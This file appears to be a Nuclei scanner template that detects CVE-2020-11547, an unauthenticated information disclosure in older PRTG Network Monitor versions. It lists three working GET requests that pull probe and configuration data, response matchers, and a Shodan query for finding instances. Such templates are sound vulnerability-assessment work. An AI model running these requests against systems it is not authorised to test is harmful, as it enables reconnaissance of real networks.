nuclei-templates/http/cves/2020/CVE-2020-11547.yaml

id: CVE-2020-11547

info:
  name: PRTG Network Monitor <20.1.57.1745 - Information Disclosure
  author: x6263
  severity: medium
  description: PRTG Network Monitor before 20.1.57.1745 is susceptible to information disclosure. An attacker can obtain information about probes running or the server itself via an HTTP request, thus potentially being able to modify data and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the PRTG Network Monitor.
  remediation: |
    Upgrade PRTG Network Monitor to version 20.1.57.1745 or higher to mitigate the information disclosure vulnerability.
  reference:
    - https://github.com/ch-rigu/CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure
    - https://github.com/ch-rigu/PRTG-Network-Monitor-Information-Disclosure
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11547
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-11547
    cwe-id: CWE-306
    epss-score: 0.0011
    epss-percentile: 0.43845
    cpe: cpe:2.3:a:paessler:prtg_network_monitor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: paessler
    product: "prtg_network_monitor"
    shodan-query: title:"prtg"
  tags: cve,cve2020,prtg,disclosure,paessler

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/login.htm?type=probes"
      - "{{BaseURL}}/public/login.htm?type=requests"
      - "{{BaseURL}}/public/login.htm?type=treestat"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body_1, 'Probe #1') && contains(body_2, '<span>Configuration Requests Sent</span>')"

      - type: word
        part: body
        words:
          - "prtg_network_monitor"
          - "Probes"
          - "Groups"
        condition: or

      - type: status
        status:
          - 200
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